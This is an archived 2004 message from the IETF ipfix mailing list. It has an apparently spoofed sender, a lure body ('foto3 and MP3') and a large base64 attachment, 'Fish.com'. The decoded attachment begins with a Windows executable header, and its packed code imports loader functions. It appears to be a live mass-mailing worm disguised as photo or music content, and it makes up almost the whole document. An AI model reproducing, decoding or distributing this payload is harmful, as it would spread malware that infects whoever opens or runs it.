Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Oct  4 13:11:17 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23752
	for <ipfix-archive@lists.ietf.org>; Mon, 4 Oct 2004 13:11:17 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CEWBx-0004N0-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 04 Oct 2004 12:00:05 -0500
Received: from [200.180.242.22] (helo=PENTIUM4.org)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1CEWBj-0004Ju-00
	for ipfix@net.doit.wisc.edu; Mon, 04 Oct 2004 11:59:52 -0500
Date: Mon, 04 Oct 2004 13:59:45 -0300
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "Plonka" <plonka@doit.wisc.edu>
Subject: [ipfix] Re:
Message-ID: <tsevairuffvrhekimam@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------mphahmopmlygykjvinpy"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------mphahmopmlygykjvinpy
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
>foto3 and MP3<br><br>

<br>
</body></html>

----------mphahmopmlygykjvinpy
Content-Type: application/octet-stream; name="Fish.com"
Content-Disposition: attachment; filename="Fish.com"
Content-Transfer-Encoding: base64

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
